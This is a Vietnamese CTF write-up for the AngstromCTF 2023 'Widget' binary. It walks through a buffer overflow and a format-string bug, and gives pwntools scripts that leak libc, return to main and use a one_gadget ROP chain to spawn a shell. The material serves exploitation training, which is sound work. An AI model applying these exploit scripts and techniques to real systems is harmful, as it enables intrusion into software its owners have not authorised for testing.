# Widget - Angstrom2023

{% code title="Function: main()" overflow="wrap" lineNumbers="true" %}

```c
int main(int argc, const char **argv, const char **envp)
{
  int size; // [rsp+Ch] [rbp-24h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  __gid_t rgid; // [rsp+28h] [rbp-8h]
  unsigned int i; // [rsp+2Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  if (called != 0)
    exit(1);
  called = 1;
  printf("Amount: ");
  size = 0;
  scanf("%d", &size);
  getchar();
  if ( size < 0 )
    exit(1);
  printf("Contents: ");
  read(0, buf, size);
  for ( i = 0; i < size; ++i )
  {
    if ( buf[i] == 'n' )
    {
      printf("bad %d\n", i);
      exit(1);
    }
  }
  printf("Your input: ");
  return printf(buf);
}
```

{% endcode %}

{% code title="Function: win()" overflow="wrap" lineNumbers="true" %}

```c
int win(const char *a1, const char *a2)
{
  char s[136]; // [rsp+10h] [rbp-90h] BYREF
  FILE *stream; // [rsp+98h] [rbp-8h]

  if ( strncmp(a1, "14571414c5d9fe9ed0698ef21065d8a6", 0x20uLL) )
    exit(1);
  if ( strncmp(a2, "willy_wonka_widget_factory", 0x1AuLL) )
    exit(1);
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("Error: missing flag.txt.");
    exit(1);
  }
  fgets(s, 128, stream);
  return puts(s);
}
```

{% endcode %}

## Analysis

{% code title="Vuln 1:" overflow="wrap" lineNumbers="true" %}

```c
  printf("Amount: ");
  size = 0;
  scanf("%d", &size);
  getchar();
  if ( size < 0 )
    exit(1);
  printf("Contents: ");
  read(0, buf, size);
```

{% endcode %}

Ta có thấy ngay đây là lỗi <mark style="color:red;">**BufferOverFlow**</mark> bằng việc tăng size lên kích thước lớn sau đó ta có overflow ra khỏi 24bytes mà chương trình cung cấp cho <mark style="color:red;">**`buf`**</mark>

{% code title="Vuln 2:" overflow="wrap" lineNumbers="true" %}

```c
  printf("Your input: ");
  return printf(buf);
```

{% endcode %}

Và đây là lỗi format strings ta có nhìn thấy bằng mắt thường. Bắt đầu đi vào việc tìm kiếm vùng đất mới thôi nào.

Nhưng mà trước khi đi thì ta cần có bản đồ(script) để đi đúng đường trước:

> Trước tiên ta sẽ sử dụng lỗi format strings để tìm ra địa chỉ leak libc (bởi vì trên file <mark style="color:red;">**`ELF`**</mark> không tồn tai gadget <mark style="color:red;">**`pop rdi; ret`**</mark>) nên tôi mới phải leak địa chỉ libc để lấy các gadget trên libc.
>
> Sau đó sẽ dùng <mark style="color:red;">**Format string**</mark> để <mark style="color:red;">**ret2libc**</mark>. Sau đó lấy shellcode của nó.

### Bước 1: Leak libc address.

Trước khi ta bắt đầu vào bài toán, tôi sẽ note lại 1 vài địa chỉ quan trọng:

> 0x401455 : read(OverFlow)
>
> 0x4014c0 : format string
>
> 0x4014c7 : return

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FlCpWny7kPJ8Tq0uRIhgR%2Fimage.png?alt=media&#x26;token=5d3f3316-08ff-4716-9da1-bbaa13808c7c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FXjLvk4o9ogzGheGgmUtr%2Fimage.png?alt=media&#x26;token=16f76531-67e8-4218-9e55-dc4f32acb28e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FmO61N6RcRTtbyjivd9hZ%2Fimage.png?alt=media&#x26;token=378862fe-0c23-4c29-814c-ad5c96f567a5" alt=""><figcaption></figcaption></figure>

Địa chỉ tôi khoanh tròn ở trên kia là địa chỉ libc như nó sẽ là địa chỉ ret sẽ gọi tới nên ta không thể dùng đó để leak. Hình dung: Khi tôi overflow đến đó xong chèn các gadget vào thì nó sẽ chẳng thể nào leak ra được vì địa chỉ đó đã bị ghi đè bởi các gadget và nó sẽ leak ra địa chỉ của các gadget như bên dưới:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FTqLdJLYSA98R4MFTdmkF%2Fimage.png?alt=media&#x26;token=bdada494-6580-4024-ad7f-b49d38649266" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %} <mark style="color:red;">**`Vậy nên bạn hãy cẩn thận với nó hơn`**</mark>.
{% endhint %}

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FTG9bXA4zJhyrcSw4e84K%2Fimage.png?alt=media&#x26;token=b2d0edab-2261-4d15-b031-a8d7f5362dd4" alt=""><figcaption></figcaption></figure>

Cái trên là cái ban đầu bạn nhìn thấy ở ảnh trên cái dưới là cái tôi thấy khi mở rộng stack ra 50.

Có thể thấy nó ở vị trí <mark style="color:red;">**`(0xd8-0x38)/8 = 20`**</mark> so với cái libc ban đầu. Và bạn có thể dựa vào libc bên trên tính được offset của libc bên dưới: kết quả là nó ở <mark style="color:red;">**`offset thứ 33`**</mark>.

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FB60MNv8iC4mXK5QdtenJ%2Fimage.png?alt=media&#x26;token=55eb8dff-3b26-4dd5-9de1-7214d83d8706" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FzVpPcwjmXqp0DHukRj3T%2Fimage.png?alt=media&#x26;token=36ab8c10-ef2d-4f55-bf41-19c563104326" alt=""><figcaption></figcaption></figure>

Như vậy, bạn có thể thấy nó đã đúng :)).

Libc address đã có. Vậy bây giờ ta cần tính toán so với <mark style="color:red;">**`libc_base`**</mark> của phiên chạy <mark style="color:red;">**gdb-pwndbg**</mark> này. Vì nó sẽ không thay đổi sau những lần chạy.&#x20;

Bạn chỉ cần làm theo tôi:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2F42Jj77Wh9EB7ZQOchONM%2Fimage.png?alt=media&#x26;token=c61132fb-6f1d-4b5f-a4a7-bcf0b29a03f6" alt=""><figcaption></figcaption></figure>

Cái tôi khoanh tròn đó chính là libc base trong phiên chạy này. Vậy bây giờ chỉ cần tính độ chênh lệch của nó:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FgCj59wVc8BZdiSuV0xR8%2Fimage.png?alt=media&#x26;token=22430f0d-c4d6-4638-bd4e-7acb1df10fdb" alt=""><figcaption></figcaption></figure>

Vậy độ chênh lệch của nó chính là <mark style="color:red;">**`0x29e40`**</mark>. Việc cần làm để lấy được libc\_base thật đó là: lấy địa chỉ libc\_leak thật trừ đi độ chênh lệch là xong :3

{% code overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

elf = context.binary = ELF("./widget")
libc - elf.libc
r = elf.process()
context.clear(os="linux", arch='x86_64', log_level="DEBUG")

r.sendlineafter(b"Amount: ", str(0x100))
r.sendlineafter(b"Contents: ", b"%33$p")


r.interactive()
```

{% endcode %}

Tôi có script sau để có thể leak được libc address ra màn hình:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FhqRvHVw02EAqRY6HTPhR%2Fimage.png?alt=media&#x26;token=5f1d9cd2-01ee-4a7d-8b77-e47dd9cb2885" alt=""><figcaption></figcaption></figure>

Tôi sẽ xử lí script của tôi để lấy ra được libc address:

{% code overflow="wrap" lineNumbers="true" %}

```python
r.recvuntil(b"input: ")
libc_leak = int(r.recv(),16)
log.success(f"LIBC LEAK: {hex(libc_leak)}")
```

{% endcode %}

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FOArCEsTIecWlnYtAkKEt%2Fimage.png?alt=media&#x26;token=68542ab9-2b5c-43c9-a6b3-8445565c7827" alt=""><figcaption></figcaption></figure>

Rồi khi mà ta leak được libc thì chương trình cũng đã cạn không có bất kì địa chỉ nào để có thể ret về ==> Bởi vậy tôi sẽ quay trở lại main 1 lần nữa để thực hiện overflow và ROpgadget

Mà để thực hiện được nó ta cần quay lại và gửi lại format string và gửi lại payload để nó có thể ret lại chương trình.

#### Tôi sẽ tính offset đến ret:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FhkKDQapAeS6mjFgQ6bjs%2Fimage.png?alt=media&#x26;token=5f3ab8f9-5e06-49cd-8fdb-7603f67dffc8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2F0Qq1cMYPNeKkD3NIs6pB%2Fimage.png?alt=media&#x26;token=c0ea7473-9403-4e91-a279-6bca88394557" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FDYUT2SIUNHRU4vZaKTnC%2Fimage.png?alt=media&#x26;token=5d9f84c1-5703-4464-896c-d3d66232e0ca" alt=""><figcaption></figcaption></figure>

Nhưng thật là phiền khi ta có hàm này để nó tránh return lại chương trình:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FOkE6PsgNAu56U76GGTTS%2Fimage.png?alt=media&#x26;token=922b7075-dc5b-4b6f-b071-3ee75fed0b97" alt=""><figcaption></figcaption></figure>

Bởi vậy tôi sẽ return đến sau nó để có thể đúng:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FXbtyu6aDpIXtt1Snzl5Y%2Fimage.png?alt=media&#x26;token=825c53b5-8b09-4b06-b9d8-e9e437024d10" alt=""><figcaption></figcaption></figure>

Tôi chọn <mark style="color:red;">**`called = 1`**</mark>để return :v.&#x20;

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FdfXmT1VlcQoHsQXWlfRl%2Fimage.png?alt=media&#x26;token=13e36a9e-1080-46d8-a526-dbe0e79eac2a" alt=""><figcaption></figcaption></figure>

{% code title="payload của phần này:" overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

elf = context.binary = ELF("./widget")
libc = elf.libc
r = elf.process()
context.clear(os="linux", arch='x86_64', log_level="DEBUG")

r.sendlineafter(b"Amount: ", b"120")

payload = b"%33$p|||" + cyclic(32) + p64(0x004013d9)
r.sendlineafter(b"Contents: ", payload)

r.recvuntil(b"input: ")
libc_leak = int(r.recv(14),16)
log.success(f"LIBC LEAK: {hex(libc_leak)}")


r.interactive()
```

{% endcode %}

Oke vậy chương trình đã quay trở lại và ta thấy **`Amount`** trên màn hình:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FhIrYkhQM0Q57x8TwvuAH%2Fimage.png?alt=media&#x26;token=ce7eefaa-c760-4201-9305-99fed53fe57e" alt=""><figcaption></figcaption></figure>

Nhưng điều gì khiến ta b&#x1ECB;**`"got EOF..."`** ?

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FVJi6ArViMUhfM3jJCzyQ%2Fimage.png?alt=media&#x26;token=e79393fd-5a6b-46b3-8fbf-8f911144688b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FVEwWYS2WyBfzfBOM3hbF%2Fimage.png?alt=media&#x26;token=a33fdfa9-babf-497d-8867-78dca0e6ac76" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FGjmHIiVntYkA4f8phFdP%2Fimage.png?alt=media&#x26;token=6747c19e-897d-4881-82b6-7b76fb41cc14" alt=""><figcaption></figcaption></figure>

Chương trinh đã bị hỏng và lỗi Bus error: lỗi này liên quan đến đường truyền data, hay gì đó, bởi vậy tôi nghi địa chỉ của cái gì đó không tồn tại ở đây (**vì chỉ có địa chỉ không tồn tại thì mới không thể mov dữ liệu vào đó**). Check nó.

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FQpynxkvYBeyzdBkn1FUD%2Fimage.png?alt=media&#x26;token=23a975ba-46cb-4612-b6cc-b3c4796394ff" alt=""><figcaption></figcaption></figure>

Yeb. ta đã ghi đè lên địa chỉ của nó một cách thậm tệ.

Điều bây giờ chúng ta cần làm đó là checkxem địa chỉ ban đầu của nó là bao nhiêu và chỉnh lại script.

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FAnueM35v96Jif43N2zQk%2Fimage.png?alt=media&#x26;token=8892497f-76f5-420b-b252-acaad2e5733a" alt=""><figcaption></figcaption></figure>

Khi ta chạy đến nó trên gdb và kiểm tra lại thì nó chứa byte <mark style="color:red;">**`0x00`**</mark> và có địa chỉ là <mark style="color:red;">**`0x7fffffffdf7c`**</mark>. Nhưng do tôi ghi đè lên địa chỉ của nó nên tôi phải kiếm 1 địa chỉ khác để thay thế nó. bởi vậy tôi sẽ dùng những địa chỉ ở <mark style="color:red;">**`.bss`**</mark> section.&#x20;

![](https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2F1wJXWigu6yHr9Om02Ufm%2Fimage.png?alt=media\&token=6aac79f0-4662-44b4-abe0-87223eac957b)

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2F8l4D2KrLKT4ak17lhk7Q%2Fimage.png?alt=media&#x26;token=d8a2ec0e-a661-411d-a88b-76bb069719f6" alt=""><figcaption></figcaption></figure>

Tôi sẽ lấy luôn địa chỉ ở dòng cuối cùng kia để tránh xảy ra lỗi.&#x20;

Biết được offset của nó là 32  và có địa chỉ để ghi đè nên script của tôi sau đó sẽ như sau:

{% code title="payload của phần này:" overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

elf = context.binary = ELF("./widget")
libc = elf.libc
r = elf.process()
context.clear(os="linux", arch='x86_64', log_level="DEBUG")
gdb.attach(r, api = True)
r.sendlineafter(b"Amount: ", b"120")

payload = b"%33$p|||" + cyclic(24) + p64(0x404077) + p64(0x004013d9)
r.sendlineafter(b"Contents: ", payload)

r.recvuntil(b"input: ")
libc_leak = int(r.recv(14),16)
log.success(f"LIBC LEAK: {hex(libc_leak)}")


r.interactive()
```

{% endcode %}

Oke vậy phần này không còn lỗi nữa:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2Fnd626kyqN81hbnEIh7Fk%2Fimage.png?alt=media&#x26;token=0e8d17ff-50fb-4c69-bfea-a73c93499c2d" alt=""><figcaption></figcaption></figure>

tiếp theo ta sẽ đến bước tiếp theo:

### Bước 2: Overflow + ROPgadget.

Tất nhiên là ta phải gửi lại 1 lần nữa.

Trước khi gửi tôi muốn kiểm tra lại 1 lần nữa:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FlXsibIguGcHXfSve4qIi%2Fimage.png?alt=media&#x26;token=a7a39b9b-adad-455c-b586-2d2cb06ad1bc" alt=""><figcaption></figcaption></figure>

Mọi thứ như tôi mong muốn.

{% code title="payload của phần này:" overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

elf = context.binary = ELF("./widget")
libc = elf.libc
r = elf.process()
context.clear(os="linux", arch='x86_64', log_level="DEBUG")
gdb.attach(r, api = True)
# Format String
r.sendlineafter(b"Amount: ", b"120")

payload = b"%33$p|||" + cyclic(24) + p64(0x404077) + p64(0x004013d9)
r.sendlineafter(b"Contents: ", payload)

r.recvuntil(b"input: ")
libc_leak = int(r.recv(14),16)
log.success(f"LIBC LEAK: {hex(libc_leak)}")
libc.address = libc_leak - 0x29e40
log.success(f"LIBC BASE: {hex(libc.address)}")

# Overflow + ROPgadget
pop_rdi = libc.address + 0x2a3e5
pop_rsi = libc.address + 0x2be51
ret = pop_rdi + 1 
system = libc.sym["system"]
binsh  = next(libc.search(b"sh"))
r.sendlineafter(b"Amount: ", b"120")
payload = cyclic(32) + p64(0x404500) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0x0)
r.sendlineafter(b"Contents: ", payload)
r.interactive()
```

{% endcode %}

Tôi vẫn chưa rõ 1 vài lí do gì mà payload của tôi không hoạt động và xảy ra lỗi này:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FeMjhvxOjYns4ebQUu71o%2Fimage.png?alt=media&#x26;token=0cc8dbf5-1b2d-404b-a396-d4f04e2a913f" alt=""><figcaption></figcaption></figure>

Vấn đề này tôi sẽ sửa chữa sau.

Trong phần này tôi sẽ dùng công cụ <mark style="color:red;">**`one-gadget`**</mark> để giải quyết nốt bài này:

### One gadget

Now we find the offsets of the one\_gadgets in the libc.

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FbgExNyEp8bkhB8dQIyoZ%2Fimage.png?alt=media&#x26;token=a6ab1a1d-a6b8-4d28-92a4-9dd5fe2ebb96" alt=""><figcaption></figcaption></figure>

Bất kỳ one\_gadget nào cũng tốt miễn là các ràng buộc được đáp ứng. Tôi đã chọn cái yêu cầu RSI và RDX phải rỗng vì chúng thường là các tiện ích ngắn. Sau đó, chúng ta phải tìm các tiện ích thích hợp để làm cho RSI và RDX trở nên vô hiệu. Tôi chỉ cố gắng tìm các thiết bị pop phù hợp để thực hiện công việc này.

#### Searching for POP RDX, RSI gadget

**`ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rsi "`**

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FxFACjQKy69yQaIIrwrv9%2Fimage.png?alt=media&#x26;token=7f360b00-82b5-4f98-a85b-ffb42a7bdd9f" alt=""><figcaption></figcaption></figure>

**`ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi "`**

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FUuriGQV8tUTCEoOBm2UP%2Fimage.png?alt=media&#x26;token=4bdc8320-4c8e-4a36-a40a-465528864588" alt=""><figcaption></figcaption></figure>

```python
from pwn import *

elf = context.binary = ELF("./widget")
libc = elf.libc
r = elf.process()
context.clear(os="linux", arch='x86_64', log_level="DEBUG")

# Format String
r.sendlineafter(b"Amount: ", b"120")

payload = b"%33$p|||" + cyclic(24) + p64(0x00404010+0x30) + p64(0x004013d9)
r.sendlineafter(b"Contents: ", payload)

r.recvuntil(b"input: ")
libc_leak = int(r.recv(14),16)
log.success(f"LIBC LEAK: {hex(libc_leak)}")
libc.address = libc_leak - 0x29e40
log.success(f"LIBC BASE: {hex(libc.address)}")

#One-gadget + OverFlow
onegadget = libc.address + 0xebcf8
pop_rsi = libc.address + 0x2be51
pop_rdx_rbp = libc.address + 0x90529

payload = b"a" * 32
payload += p64(0x404500) #rbp
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx_rbp) + p64(0) + p64(0)
payload += p64(onegadget)
r.sendlineafter(b"Amount: ", b"140")
r.sendlineafter(b"Contents: ", payload)
r.interactive()
```

## Kinh nghiệm rút ra:

Là dùng One-gadget đi cmmm bài loz.

Với khi gặp lỗi ở đâu thì nên xem đó là lỗi gì và phân tích địa chỉ bla bla.

Dường như trong system(/bin/sh) vẫn còn uẩn khúc gì đó khó mà giải thích được.

Và khi muốn return lại 1 hàm thì hãy chú ý pass những điều kiện không cần thiết. Hết!!!
